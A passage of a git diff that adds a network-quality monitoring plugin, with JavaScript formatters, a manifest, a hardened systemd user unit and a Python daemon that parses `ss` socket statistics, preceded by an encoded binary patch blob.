zp^rw-b7e$g$tI)ssmyuD(8!jIbL}I0mg3K3cYp2RQaVzuj5!WNOV~L%ii6I6bH{&e zF@!PXlF*OLlNjY%KH7y3?*#y^OdQwNY72p3;jA45Ps$ z0eJLM$%|#yZaa`=u^4DZyPk-rthSh_DqRasK$_K(8_4WMxIkchwX~9IE{+Jh2cz)g zd(}e{elj?~1t1P0Pq^BKrMJ#>*~NFkFh}UQIsO@;4j@@VM~4Htm^X2sW!;_B6S%Bx zEbc}nuKxY{6@K|Bp1b?<3%TKDFCGejwnGf_2c$#T?z8ua>sDe@1pG?9buw}fuYHlMnUtG5^tL}x zqII;CU;qFYs8T7~SaEN6|DI`-)u3ltfD1c+YTI}!W$O-|SsPK>(bQjdTf=SS2}e7) z{zZFz=-0g*3b~gkJ<&y4$WQ*zUL8spgM!;99EJ?`VLqC zwMnA5&?db>lMs@#02NHLY;8u&q^Qj+NZ8>5G7l#)0RU+Iw~N_4giyL<#jFK?k?s8~ z(&YTu#TC87l-b3L6*OaI|7mrV92YF7#$h!h_};-4j?$GN0h9b(qe(Dg4;n}rcAp%k zjM(w(v3q^TmZxRZ953OVRzxYVq(+n5q8}LZxDmedHKFIhpuLlC2~L2q$!1|XE+-WG z$MQL(-W@wrrqUIjZ&iC_!_9{1(`Y_xJtd*6vq==G{$#4TYusSzf*-C%t@Rlb{uyLY zU~MYBX>HJD)X9cm+lW@=q>4tG#RQQsY%iRq!?bp^^EU|-bWtT$17q+6#KWWm8}BoA z)Pwsj$5o*ExAdvPl>H!pOXKsJR_`HZcm2?e`iA@Sq@(MmsoMR>i=DN*y^zc~ePc37 zW=jsOQPT{Pzh)mDLf7|-XKeT&J`~r5DrN>}*MpVM&kR}j$81MqP0EtXqu8}e-5x*g zh;er)A%XcVed?c%?t^P&S#EZj4J74(#7m97mF6W}BF-r$QT0zKeyFthsSRz*U3Q>> zE%dZqgYwNEul7O>&I@+)yMO8OD9SazNRtDKWV- z)%WO@_)h~}X&LkPe;c7p!9WbQ0tFDK6@mjjO zTseYl={}?fawMCMppq$^9rj-GRS~1ES!cFcvdE7|NsxZaOu(|GWJ!~|BWL+hxr_d9 znb&i-7F~QnGq7hGh{+#E*4_xGoUq@&esh{vj3i&X*8VlqkCSKWs}M7dxumaJ@KQ(a{<`Fi2Pe50cJ&gM41Oau~D(^>MYu3{rq>h$Q}8A&`s z>Xz3lxT^^KMB0yn$bO(JzqZ#TMq>mUMJQkMb_=!G{k&>Py|YlJG0>W<#0Zbi#rET) z$Bc8C*1_zlymuK*iIaaPMFF9M-}6~TmrMH?08Bd5YT>}SvOnB-N{r^!qFoo=l32`Y zOHS(-trVwvui4x=g2W*aQ}@xyb(^4b={dJw!2*%8OrL$Zm7W50Xb(XtbCIe@I z!*lQY){m>J?tLtT?#m&m5V%-S|IMaB?GjOfYR_ z_-ploSy7Uf1VrDIOKX8pK}o%#VbHItd2Af^Mc^CB17^*0N&K`ZzPXN&Lx(InF5dCK znZ4}y=fOM41rPFOxEz}@DrzteD0NXrNZmq(UhB`2W$iSrH6KLZv`cGqM^*m1C`~{B zR$z}!BZumO#VB&?nn5E+GS+M=X!$jNRkXuZyegzi-OlIXk5mB%82X%qr-9$$YZn?L zpJUHj>tB6hq1+cG6FmYJ^SQNvi;=6TTeB&lr~6r@bpA!iVbq{e3%~RjpZ`d4R0tt0Wlh6_kf`XKc&23x7Gc{&v5KzLxTPw6 znv?*8y<-swsUn9Lza}AE8vWv%ZCw51{vUpvPmx);H71`+cKO&ZpP*0bc*~IXg4nT( z3Q4$?Mjq}S;<#yTK^rf^71=NVDor9E_$*Z|+|~LO3@URg5L{Z;=XW=14B4#?Pp0*C zACvHw`*&9KP>~f({G~#uxLBusocr0_PMeYiQ7;nmSwUctxaviXoVax5>9&I8JORq` z_?u6kkYahmE7lajDR@Ow)%bLxvzWE1XmuE-JnmVQmh+rQ0c@Oa6=hDt%Gq-Ze*KgR zk`oq85|5UVj|a>F7U)!DR##4ODzg1g?(gYd2-J8#Aw*&wfk^51=hhL|N~UMV zChucYnE?zo$h45qIkluji}Pu6Ghr9a4har60q0dIGsshe?Sn{sXS`+*5|6%9{%w~3d{cx zT>nQ4g$pnNMQ?1|l?ZZyqd} zM6-|Pn?j^ZECUyr^(fK}9hEd9AAcp?H*7v0hVLb<_fOGMGEy@a#*;8MBZ80rs%7_U zYW256C2sa(5FB^x_rq@!Jmtt1S~;@+?b%~sPY~ml{LWmS&Im!y89MXW5q-7zuOtN$ z3omGUkt0JD$TO4utbDPNwV_(_^d2C3r>4Btl$d9etZRSaE=Px0&S&rD`2~Z`W`A`I zk>2)H;-{{z$jZe-iV>Qv2LlBhn#jFcR^jDKjf29R&!^A z&y1^0gPpq}0b&tfthUR7G7hxX7gMG(S*A%{MhCwcP0y`hjkUvIak=l13ZHRyZlqgZ zp0ZlL57*yP5@(m5d{5}l-%^@qAh^gIFU^C5Dd#|iQ>2?N0?Ae!Facf0%n3y_>SAio zl3(>#jR-`m7NRetEu09Lz#UTBw8qBF;?t5Gjw3;vxl^vSdMUFx7r@hbBqM>uX*Y1P zRAb?Wcr)_grCUQ%iD8)vj8RYdfs}=N#wJ)N%+~T*G^`KBA>Uce0KdjYn`(e-)Tk@7 zgYQtez2}F}jw)jgzTs#o+4moU*6GGwk7-8yr4LrN$rjS!?aL`R443~JT2YBZnU;|8o=(L$!;c zzkCO`(Wk9Z z1PZ5*Fsv`)QP=5h?MD^XVfK~&JHjW(zSq_UyTK{XjV)@Zs05*V+1zdnVkq*fR8h|d zO}M_gqCQHH-4x^5%+q80E2$4Z<43G|S9^@w>l@d36Vye8h3+2S!Gc@DmkK>>S$K68ac{TLU%DJ3UWkmxmCgM%cTUyMrV8RX|yh`*^xXviyT zH^sBfVH;yDG{z%mQeIt5k&Y%<4vq{}w%@RUZQz}pVvAB$arX99T95_*_4=UwL)R(L z1g-bz8PiORmN88NK%%EzK1y-(?@-S=afplZBst1ukR8PPoJ|m|CMjHuHlVgbM8+${*a?E7-=;7 zbPAMg!%n|kkirJ((vMt-S7?k|U)GH6(2K3VKdTD2c8feC;}OfhpACf2c-VwTS>FZK zQU|1x*<3v@4Zp4tXEJ&>oy;*k5P84VsWlQct4cs6dYxduUB|ll(sYKZii&u!Q+PX& z70)8bUj_Ka)H9=9J0=lc9QTCfVZWOMA9l~vo0Uv;>~{))RSbaO1*0t*xiCUZ0Y@`z z@0a_9Mjc51p_lPATy5{IfQ9*@Kt_ysDuak7e!)$z(QOd*M-}yaQAY zoAq7Rju-{Gb?3>(@;{nXq$r`qIFz}_znp{`dxIe|b9gyp5L$u3w6-kk{P>Cf)*vUq6bsMhg5J+%l(6n&UV@39xAZRGbfC6*zD z1WW!=wye6bHBrIV$SoV=ez)XzY|oHsuKd*!evCZ>b=+YZ96S&}}RUm7LnFXz3p;uqxN@0f0pThAKKE-TD>T91!%h`g^CC2eJ#>j#YQ)Ec^~JS)A=-bmYIhoktm=AG$Kj96Rt z+0b?Zfku70%I8fCaiKaPY!p4q0~+n}=7A1ogO3sZhrSt!Cbkjl+1CpOhS(c#wm1^7 zIrdZydLN^fexeZORDmN@(i_w$`7t$w{~w!^CXEO3h89jKXQYo$7u*LVz@WlyMc2<# zL3@~HQ7T9!^U)8A*k0VFr$e~*#^y|Z?Iiknrqkw3nw=TzF1(+4Kq}(~$?=w?@b~Oy zvGbvPqN1S|k8gq;FwHixGhNaI4o>%G{3fR8;kFXV`+&npPh0L$>Q!0F5-7Dg40(0& zmS~L>;HxQOrs99Uwj|M9IAIpuYt}m^nDkzQ*$ov!dyWpY8cbjbNbHoRPY1sO4YKB5 z%DQkS5Y@F-%bDCBD9!StBOO*nLpT`IyI->FLVMiNAr(U!Q^{2dhQ?P?(<^x zqk+GU5t^kwZEa;gqqWZOoet!I0~!jNUv%tI?2fpo=06S9nK}7*F)JT6_G(89rdVyQ zXgZ&L+@>jhEm1k|MI7~wg9fz86}CBO&S(GkHesK2njV)=u;h({PdZ0+j(2GXf09j3pusg9gPKetM z$>7J+dmmI-m|Ws_iK$p=uM7b#6leHxVSa*a^Grsu=8-^Yc1$ z;d^%Ggn~?GNoJMh-2#S0NZ$%rc^};(SMaoC{Ce)x2c8Ia#s#EeU~?Fgi2w9qs!Jw7 zWiVNY0`z7CC)ZtietFgP zo2i%4E}pkj zhh>13Mlyc8u-OrLfJWQnx5B+B$UxxK1l$Q-?jln>Rtaz@@U(0(7<=2Idn=WHBdF zAVJULMagw%KPv?*kWIyyK}72+@gL6RU5})xbhs@gqTZ?^mk8S8PaR(i%_Ifc;!B=@ zC4Yq+y0=o4LHetiLrV8O${If+iN|~nYGZkdCuTn{XF8tbuC1BZTVj$tOtEbNxbaRo z`zn$Frphd{)1D6(_ctXN6$sP4=MNokfrRHWkGdT+V$EjH8@z_YH8h@IM_PNt{dpD` ziE5@LgC^+FNeSTh4fb;mf_EZsWMC2Y1YXy}ja8C+Ci3<8JbW)BEe(M5p<(en>QK1Y zCLp#nYk)6q-Es%SvAHnMm$Rt=*)bf%=F7<%Ovps)DQ?qHTmP4^=<#+Kwp#|IDIdho zdlpSpla1KI1iK;M3y=wAvl{rXqS2=6)WT{=L)c)tVznJc2Tcg(dY9hvO57son1BVg z3(Rh!hiagA?P|}?X?9kstiI_62W{|FN7y_Ss=e~Wj|y4u=xo7G346J9F>=u*n7sCE3vU@}c)YJDUr)+~Mw0zp=)&DbYOXN!{5+olA6f`3(QKh!MeBScjh3Z079X;JfGqgfPIClCLbvUtQb3Rw&o()|Zm&LyeegZuR(-&qGELZNwD=Ce>q6 zn%AvTF(6>Vf1l-q)?G#<<4g(u$o2NAPc23ZOS|B-`>dG9uLFDgED$J)lKtZ)7g%#S z-6AC;iQ$|br{s;73^YX*_!r=hb*2y{1JzpgSb^n@DwaKCza&JDSrZ5! zt)B^tMibDdX>UKNyC5V~7^HcPOacWOw;WiXj(CN5C2K02f;ZBQ?a%+L%nnBrf`VEfZ`D{Xmg!<*R~NKt4Sy6 zq*?u7$KtsV73k}r`pWat2!wpVX`KAt9H@i*A*-|ldZvT`v$rS@8eYW*V8_(3>pwd~`gR-#1#68~i+y&5LzSy)N)(LvFMb8uhl1e#OQ@0IAmjv9{{@wWN-y|gBbgPXJ zj>I)!e}CZH{s2sNbo?MSr4FLUPyQamzQiil(fbehb+t;ykd9R_<-hbvg#29lamWZ2=ukhs`E^h zY(NCmf%YGoJNcdOVWoXbU?Hd0xFUU~H!C#Y+p{S&dy?F16Ik}v3p|>qEk9tvPup1N z&xTH&#TSWEp`?BO5F!xhSIATz>>lT49N1*b<zKyy=d8A_zGX`NH&Q1 z&S&zgqDuwJJZ&1+X@AR%Bf?r+hC}ZmNdHEpnFAC5-03Gyl%){-nv(5d^z1*9LZ{~;e9q<9XkevhzY#1#Ty*mU zDCH(*;D`3jQJ6%Wz}>gyfo{*p`#hNSenfR&ZTHn|v6(MO8xH|p=4p4Ed@>{eIs zokQ{UBc#n-GycWQ=3QffQG3LY!;xjfK^+IHJQVkIcv|B=qcrIA$YM8MUlD- zQ$ync8-1J1Y__q;lPv!Vn?Dyt*6%7t!z{|nhDS}HtD&wxG|M?;H=?iJe~}FV{qlZ7+7P&+1qOxv=;pW5{V6UN=fl01OWDiyY7T_}IS8J*#2bXK*DXu4GbL^`TG8 z_Egw+e3Sb>mv#BqF~$nVs2ZG64P@)VoAvdi#euVK)-%tW`njsY!r9Y_>=*g zM<2SID?VLDe$HbjHY1BOW$~Pbh25^<0)1@ECQ}XT`Jhc>N&?Y8rGnFhPOWEO1Y(s%~gHAlf$eL$c)kBk)ty4cFd7 z1hSEO;(wA{G3i}8)=O`jrf}&GMD=&e2QSY@(-9ZL*MTGxXkHnE? z2uZYgi*{FM)5SY{m^>s~In~g_<hiURpj9<%9|d<*6=&&zkHQ=P0Z-ldfL~!{3@&L zbS&$GsL9kd#&J`b?NyHtK6a|bWcK%9rO)MCy4SaI&GH1Ha;Qap8jB}JxtC7JHx%d~ zLTeYpTalTV@WN=g$}%Sl8y{Ja&SR^{dI6n$ZmHiHWyYx(S&L}zqLUN1oEo}IQ6qD+ zL~FP0pF`eXI;w?3B)MG5VL}2aWQXmHq53Z$e7=C)NqYie6QdmTLk zTqg1qF0S2SeX~-}YoSvxQT=j3m~%A%loC+k<{_xXn;Cx4WnENr)Yjgr_z09tDIW$i zGM5ImiSqsivp#$%q5F`9d0of(@9!XhCP?!NHNo(-`JVXuJ-VB0J3`e?{fAE_d{8_p zt4k{wu0mlOs&Tanl!PP2f*9{y?84cNfsf9HhD{S|@1k2e2?d4yxif_b3!vcDY=8Q- zod?@P>ohe9Jb`PjQ4Kp(1*QJ7AljSA;s#op?7GU&pNj`;!KcF#Fjy#0)lNeJ#%oUQ zxY|ZfIioo1lb2!Epkc8B-G`j{KyypeV22rsWt8oIA}Im5WQeNo62(;=-~Ltx1pK`OKEyugx9>sQPIA_QEy8lhF?VrNtkTE-U&xh&*s$b4g}vQY9+7Yu9PUH! z{k3RS@0&+VFI;G@i#(=xh2kVoA>lix9Rm6XBJkTy z7NeVq|AI%G0pcqx;$H9;FY=I{Omy#Mi2w%W;buKMo?z8t@gliL$f9{`q_6ZU*m`)= z^{xn|d!6EomBAhBYypRpY)>&G9cz*1tqOMv&fU$1e;auUx9cwNENVQ0a8|U|ue~VS zq4LdsrmT8EbNvnw?9M&qn>#}?+A9dTTDxKcYm2F3h?rc`%K$H0z~!}g z;|i2hSw8cFNZY>~7n9^%tF0Pw>*o!pM`ej|*5YMR`>6Xge`_zt|D%3a25_@1OY{l# zN|hTy0d)0_yzSHK$(>=L1*S*x3LM)fC1%rgkDP-YiRs1VR8-I%fL#mH2 z=9?W)$9VCbkOcCVr_{-K(@Q&sfA-&eypP!)vc1a&q5(m@OY>hzgm@@ceeWU`3i(;> zNWuvkbOLawU3+W*{q-%Uv^)0fnJB`dw$50=AN!I7+~Bh?A|D;jGwWkf2~X?~6Xdl1 z8u)c<2VS`{CjvlPpVdjT#4kJ}=0)nw#PK19XK}3b^uvej4tHC;xCS)ITk|yDXNlLA z9}Qr(7Mhg)T@l)0zncc8C}@KAf8`ChiijtCa~v!U;<>w`3je{?dIs0xFrF8HeexF{Zz2SVi5Z`*-oG0KG$*@-a6; zA6*yViI-9q*E6;yj)vbG^y(0$)P85aUZcekDJDLa9m~?|35k~^Q`29Shc-$_O{-wl zxNrPBHw_ZMba}h?YK;YUbNK=zZVbwOojtlc0{jDahp$O(8LqvW+E?a!ehs=N--E}E zq^6127fno@`A0~V>wV4aBKLb_QT;j2U6L!M-%j-S^L#S2H_`BpVcLSs#^1Gj(ydgF z>r_Xy>`_!nlo_>&Qj^(KFh(!90pfq6P%hl!$U7=5^5U0CTBoq~X(a4d8Du9?6=5ZR zXnXVt7sB>Kr0{#b1&?48&u;%Swo4gGkW|mp4;SccbKJdsP%!r;gv_y4?C*)t5&!k* z1LOf+7hxTK&l}(9WxP_?V2fquc_Z3Lj$*^T&?rh%woOsx;&JtFjmzT?_m**_77p+A zakcCRu+3VvI^1zj0+Zk}PVtM67her4=`(zjW*47K|M<69BWPy)mdYfVo%xk$HFa(M z$i)~2VmmH*nMq=pIhH@(pdbSojICpdifc5^*KHm!DPpg@VkwH)RE7MzkJmr@{V$mG zUts_+_W!g20?^<8Mx6ftKWO^U3Ao*dV7mTJ_F7m2*^m1FIq#t>uyOhVZl;TN6OcTD NwA6G}D^+a5{{t8fy= 1e9) return (bps / 1e9).toFixed(2) + " GB/s" + if (bps >= 1e6) return (bps / 1e6).toFixed(1) + " MB/s" + if (bps >= 1e3) return (bps / 1e3).toFixed(1) + " KB/s" + return Math.round(bps) + " B/s" +} + +/** + * A byte total, e.g. 1.4 MB. Absent reads as "--"; zero reads as "0 B", + * because a counter that has genuinely moved nothing is a fact, not a gap. + */ +function bytes(n) { + if (n === null || n === undefined || !isFinite(n)) return "--" + if (n >= 1e9) return (n / 1e9).toFixed(2) + " GB" + if (n >= 1e6) return (n / 1e6).toFixed(1) + " MB" + if (n >= 1e3) return (n / 1e3).toFixed(0) + " KB" + return Math.round(n) + " B" +} diff --git a/plugins/io.github.x3me.nexthop/manifest.json b/plugins/io.github.x3me.nexthop/manifest.json new file mode 100644 index 0000000..aa8936e --- /dev/null +++ b/plugins/io.github.x3me.nexthop/manifest.json @@ -0,0 +1,171 @@ +{ + "schemaVersion": 1, + "id": "io.github.x3me.nexthop", + "name": "Nexthop", + "version": "0.2.42", + "author": "Extreme Labs", + "license": "MIT", + "description": "Splits your Wi-Fi from your ISP, hop by hop. Continuous latency, jitter and loss on both legs of your connection, with history, outage detection and speed tests.", + "homepage": "https://github.com/x3me/omarchy-nexthop", + "repository": "https://github.com/x3me/omarchy-nexthop", + "keywords": [ + "network", + "internet", + "latency", + "jitter", + "monitoring", + "speedtest", + "wifi" + ], + "kinds": [ + "bar-widget", + "service" + ], + "entryPoints": { + "barWidget": "BarWidget.qml", + "service": "Service.qml" + }, + "barWidget": { + "displayName": "Nexthop", + "description": "Connection quality on the bar; click for latency, speed, Wi-Fi and outage history split by leg", + "category": "Network", + "allowMultiple": false, + "defaultSection": "right", + "defaults": { + "displayMode": "Index", + "internetAnchor": "1.1.1.1", + "probeIntervalMs": 500, + "contentSpeed": true, + "contentSpeedIntervalMin": 60, + "peakEngine": "Auto", + "planDownMbps": 0, + "planUpMbps": 0, + "notifyOutage": true, + "historyDays": 7, + "throughputWindowS": 3, + "updateCheck": true, + "meteredCare": true + }, + "schema": [ + { + "key": "displayMode", + "type": "enum", + "label": "What the bar shows", + "options": [ + "Index", + "Lag", + "Icon only" + ], + "defaultValue": "Index", + "description": "Index is the 0-100 score. Lag is the felt-latency figure in milliseconds: p75 plus jitter and a loss penalty over the last 30 s. Icon only shows just the state glyph." + }, + { + "key": "internetAnchor", + "type": "string", + "label": "Internet anchor", + "defaultValue": "1.1.1.1", + "description": "One of four internet-leg probe targets (pinged, and TCP-handshaked on 443). The scored leg comes from the two best instruments, so this one need not be among them." + }, + { + "key": "probeIntervalMs", + "type": "integer", + "label": "Probe interval (ms)", + "min": 250, + "max": 5000, + "step": 250, + "defaultValue": 500, + "description": "500 ms is two samples a second, about 30 MB a day per ICMP target on the wire. Raise it to use less." + }, + { + "key": "contentSpeed", + "type": "boolean", + "label": "Measure content speed automatically", + "defaultValue": true, + "description": "A short download and a small upload that score Speed honestly. About 14 MB per check." + }, + { + "key": "contentSpeedIntervalMin", + "type": "integer", + "label": "Content speed interval (minutes)", + "min": 15, + "max": 1440, + "step": 15, + "defaultValue": 60 + }, + { + "key": "peakEngine", + "type": "enum", + "label": "Peak speed test engine", + "options": [ + "Auto", + "Ookla", + "Cloudflare", + "fast.com" + ], + "defaultValue": "Auto", + "description": "Auto prefers the official speedtest CLI when it is installed, then Cloudflare, then fast.com. Peak tests only ever run when you ask for one." + }, + { + "key": "planDownMbps", + "type": "integer", + "label": "Plan download (Mbps)", + "min": 0, + "max": 10000, + "step": 10, + "defaultValue": 0, + "description": "Optional. When set, Speed is scored against your plan (ISP accountability) instead of the built-in experience curve and your own baseline." + }, + { + "key": "planUpMbps", + "type": "integer", + "label": "Plan upload (Mbps)", + "min": 0, + "max": 10000, + "step": 10, + "defaultValue": 0, + "description": "Optional, used together with the plan download." + }, + { + "key": "throughputWindowS", + "type": "integer", + "label": "Throughput averaging window (seconds)", + "min": 1, + "max": 30, + "step": 1, + "defaultValue": 3, + "description": "The receiving/sending numbers average over this window. Larger is calmer, smaller is livelier." + }, + { + "key": "notifyOutage", + "type": "boolean", + "label": "Notify on outage and recovery", + "defaultValue": true, + "description": "A desktop notification once an outage has lasted a few seconds, and one when it clears, naming the leg that failed. Brief interruptions are logged, never notified." + }, + { + "key": "updateCheck", + "type": "boolean", + "label": "Tell me when an update is published", + "defaultValue": true, + "description": "Once a day, asks the repository you installed from whether a newer version exists, and shows a small marker in the panel if so. It never installs anything and sends nothing about you. Turn it off and no check is made." + }, + { + "key": "meteredCare", + "type": "boolean", + "label": "Go easy on phone hotspots", + "defaultValue": true, + "description": "When the connection comes from a phone sharing its data, pause the small hourly speed checks and ask twice before a full speed test. Turn this off if your plan is unlimited and you would rather keep measuring." + }, + { + "key": "historyDays", + "type": "integer", + "label": "Keep per-minute history for (days)", + "min": 1, + "max": 90, + "step": 1, + "defaultValue": 7, + "description": "Hourly rollups are kept for a year regardless." + } + ] + } +} diff --git a/plugins/io.github.x3me.nexthop/nexthopd.service b/plugins/io.github.x3me.nexthop/nexthopd.service new file mode 100644 index 0000000..5141c36 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd.service @@ -0,0 +1,62 @@ +# Optional: run nexthopd as a systemd --user unit so monitoring continues +# while omarchy-shell is down (a shell restart, a different session). +# +# mkdir -p ~/.config/systemd/user +# sed "s|@PLUGIN_DIR@|$HOME/.config/omarchy/plugins/io.github.x3me.nexthop|" \ +# nexthopd.service > ~/.config/systemd/user/nexthopd.service +# systemctl --user enable --now nexthopd +# +# The shell's Service.qml sees the flock is held and simply attaches. +# +# The other direction needs a line too: if this unit starts while the +# shell's own daemon already holds the lock, ours exits 3 ("lock held"). +# That is a clean outcome, not a failure, and without +# RestartPreventExitStatus systemd would restart it every 5 s until the +# next shell restart handed the lock over. +# +# Restart=always rather than on-failure, because the version handover +# (Service.qml, after `omarchy plugin update`) retires the running daemon +# with SIGTERM and the daemon exits 0 on it. on-failure would leave this +# unit inactive after every update, and the shell would quietly take the +# daemon over — ending the "survives a shell restart" promise this unit +# exists for. RestartSec must beat the shell's own respawn, which fires +# 2.5 s after the retire: whoever takes the flock first keeps it, and it +# should be us. systemd's default start limit still stops a crash loop. +[Unit] +Description=Nexthop internet quality monitor daemon +After=network.target + +[Service] +ExecStart=/usr/bin/python3 -m nexthopd +WorkingDirectory=@PLUGIN_DIR@ +Restart=always +RestartPreventExitStatus=3 +RestartSec=1 +Nice=10 +MemoryMax=256M + +# Containment, limited to what the daemon can live inside. Each line below +# was exercised: a second daemon ran under this exact set against its own +# state and runtime dirs and measured everything — both probe kinds, iw, +# nmcli, ss with socket owners, the reachability curl. +NoNewPrivileges=yes +RestrictNamespaces=yes +RestrictRealtime=yes +RestrictSUIDSGID=yes +LockPersonality=yes +MemoryDenyWriteExecute=yes +RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 AF_NETLINK +SystemCallArchitectures=native +SystemCallFilter=@system-service + +# Deliberately NOT set: ProtectSystem=, ProtectHome=, PrivateTmp=, +# ProtectKernelTunables=, ProtectKernelModules=, ProtectControlGroups=. +# In a user unit each of those is built on a user namespace, and from +# inside one /proc//fd of every other process is unreadable, so +# `ss -p` sees every socket and can name the owner of none of them. +# Measured: 45 sockets with owners outside, 0 under any one of those six. +# That would blank the Apps tab and the kernel socket timing, which is +# most of what this daemon knows about the user's own traffic. + +[Install] +WantedBy=default.target diff --git a/plugins/io.github.x3me.nexthop/nexthopd/__init__.py b/plugins/io.github.x3me.nexthop/nexthopd/__init__.py new file mode 100644 index 0000000..4d84395 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/__init__.py @@ -0,0 +1,8 @@ +"""nexthopd — the measurement daemon behind the Nexthop Omarchy plugin. + +Standard library only, on purpose: the plugin is installed by cloning a git +repo, and the marketplace installer never builds or runs anything. Anything +that needed pip or a compiler would make installation a second, manual step. +""" + +__version__ = "0.2.42" diff --git a/plugins/io.github.x3me.nexthop/nexthopd/__main__.py b/plugins/io.github.x3me.nexthop/nexthopd/__main__.py new file mode 100644 index 0000000..976cbbf --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/__main__.py @@ -0,0 +1,5 @@ +"""`python3 -m nexthopd` runs the daemon; the CLI lives at nexthopd.cli.""" +import sys +from .daemon import main + +sys.exit(main()) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/apps.py b/plugins/io.github.x3me.nexthop/nexthopd/apps.py new file mode 100644 index 0000000..a9d2512 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/apps.py @@ -0,0 +1,403 @@ +"""Per-application traffic, without root. + +Linux only hands per-process byte counts to privileged tooling (pcap, eBPF) +— that is why nethogs needs root. The unprivileged truth available is +`ss -tinp`: every TCP socket's bytes_sent / bytes_received with the owning +process. Sampled on an interval, socket deltas aggregate into honest +per-app rates and running totals. + +What this cannot see: UDP — and with it QUIC, which is how Chrome talks to +much of Google. That traffic surfaces as the gap between the interface +counters and the TCP sum, shown as its own "unattributed" bucket rather +than silently missing. + +The same `ss` line also carries what the kernel already knows about each +connection's timing: `rtt:/` (its smoothed round trip), +`minrtt` (the lowest it has ever seen on that path) and `bytes_retrans`. +That is a latency measurement of the user's own traffic, to the hosts they +actually talk to, costing no probe and no privilege — so we read it rather +than throw it away. + +`minrtt` is the path's structural floor: distance, switching, serialisation. +`srtt - minrtt` is therefore queueing delay with distance divided out, and +every connection is its own control — which is what makes a 300 ms socket to +another continent comparable with a 5 ms socket next door. A raw `srtt` is +never a verdict on its own; only the difference travels. +""" + +import os +import re +import select +import shutil +import statistics +import subprocess +import time +from collections import deque +from typing import NamedTuple + +from .probes import nearest_rank + +# users:(("chrome",pid=4958,fd=66)) — first process owning the socket. +RE_USER = re.compile(r'users:\(\("([^"]+)",pid=(\d+)') +RE_SENT = re.compile(r"bytes_sent:(\d+)") +RE_RECV = re.compile(r"bytes_received:(\d+)") +# rtt:/ — both milliseconds. minrtt is printed separately. +RE_RTT = re.compile(r"\brtt:([\d.]+)/([\d.]+)") +RE_MINRTT = re.compile(r"\bminrtt:([\d.]+)") +RE_RETRANS = re.compile(r"\bbytes_retrans:(\d+)") + + +class Sock(NamedTuple): + """One socket's sample. Indexable, so older positional callers still work.""" + app: str + pid: int + sent: int + recv: int + srtt: float = None # kernel smoothed RTT, ms + minrtt: float = None # lowest RTT seen on this path, ms + retrans: int = 0 # bytes retransmitted by the kernel + + +# A connection has to have carried something before its floor is worth +# trusting: `minrtt` is a minimum over the connection's life, so a socket +# that has only ever been busy may never have seen a quiet moment. Note the +# error direction — a floor biased high UNDER-states queueing, so this +# threshold is about honesty, not safety. Argue with the number, not the rule. +MIN_LATENCY_BYTES = 4096 +# A plausibility ceiling, distinct from a sample-count floor: past this, the +# number describes a broken measurement rather than a slow link, and a +# measurement we cannot believe is worth less than no measurement. +MAX_PLAUSIBLE_RTT_MS = 10_000.0 +# `ss` prints three decimals, so allow rounding before calling an inverted +# pair (floor above the average, which cannot happen) a stale field. +RTT_INVERSION_TOLERANCE_MS = 0.05 +# Below this many qualifying sockets we publish nothing rather than a +# distribution drawn from a handful of connections. +MIN_LATENCY_SOCKETS = 3 + + +def socket_timing(s) -> tuple: + """(srtt, floor, queue) for one socket, or None if it does not qualify. + + One guard, used by both the aggregate and the per-app medians, so a + socket rejected in one place cannot be silently counted in the other. + """ + if s.srtt is None or s.minrtt is None: + return None # kernel has no timing for it yet + if s.sent + s.recv < MIN_LATENCY_BYTES: + return None # too little traffic to trust the floor + if s.srtt <= 0 or s.minrtt <= 0: + return None + if s.srtt > MAX_PLAUSIBLE_RTT_MS or s.minrtt > MAX_PLAUSIBLE_RTT_MS: + return None # implausible: a broken measurement + if s.minrtt > s.srtt + RTT_INVERSION_TOLERANCE_MS: + return None # floor above the average: stale field + return (s.srtt, s.minrtt, max(0.0, s.srtt - s.minrtt)) + + +def latency_stats(socks: dict) -> dict: + """What the user's own TCP connections are experiencing, or None. + + Pure and injected so it can be tested without a live socket table. + Returns None when too few connections qualify — an honest blank beats a + distribution invented from three sockets. + """ + srtts, floors, queues, retrans_socks, rejected = [], [], [], 0, 0 + for s in socks.values(): + if s.srtt is None or s.minrtt is None: + continue # not a rejection: the kernel simply has no timing + t = socket_timing(s) + if t is None: + rejected += 1 + continue + srtts.append(t[0]) + floors.append(t[1]) + queues.append(t[2]) + if s.retrans: + retrans_socks += 1 + if len(srtts) < MIN_LATENCY_SOCKETS: + return None + srtts.sort(); floors.sort(); queues.sort() + return { + "sockets": len(srtts), + "rejected": rejected, + # What the applications see, end to end, including distance. + "rtt_p50": round(statistics.median(srtts), 2), + "rtt_p95": round(nearest_rank(srtts, 0.95), 2), + # The structural floor of the paths in use. + "floor_p50": round(statistics.median(floors), 2), + # Queueing, with distance divided out. This is the number that + # compares across connections. + "queue_p50": round(statistics.median(queues), 2), + "queue_p95": round(nearest_rank(queues, 0.95), 2), + "retrans_sockets": retrans_socks, + } + + +def parse_ss(raw: str, max_sockets: int = 10_000) -> dict: + """{socket_key: (app, pid, sent, received)} from `ss -tinpH` output. + + Sockets are keyed by local/peer address pair plus pid, which survives + across samples for the life of the connection. Sockets without process + attribution (other users' processes) are skipped, and parsing stops at + max_sockets so a pathological table cannot expand retained state. + """ + out = {} + addr = None + app = None + pid = None + for line in raw.splitlines(): + if not line.startswith(("\t", " ")): + # Header line: state, queues, local, peer, users. + parts = line.split() + addr = None + app = None + m = RE_USER.search(line) + if m and len(parts) >= 5: + addr = parts[3] + ">" + parts[4] + app = m.group(1) + pid = int(m.group(2)) + continue + if addr is None: + continue + sent = RE_SENT.search(line) + recv = RE_RECV.search(line) + if sent or recv: + if len(out) >= max_sockets: + break + # The kernel's own timing, off the same line. Absent on a socket + # it has not measured yet, which is why these stay None rather + # than defaulting to zero. + rtt = RE_RTT.search(line) + minrtt = RE_MINRTT.search(line) + retrans = RE_RETRANS.search(line) + out[addr + "#" + str(pid)] = Sock( + app, pid, + int(sent.group(1)) if sent else 0, + int(recv.group(1)) if recv else 0, + float(rtt.group(1)) if rtt else None, + float(minrtt.group(1)) if minrtt else None, + int(retrans.group(1)) if retrans else 0, + ) + addr = None + return out + + +# Reaping is inside the budget, not after it. This whole call runs on the +# daemon's loop, so what the caller needs bounded is the block the loop +# suffers — the read plus getting rid of the child. 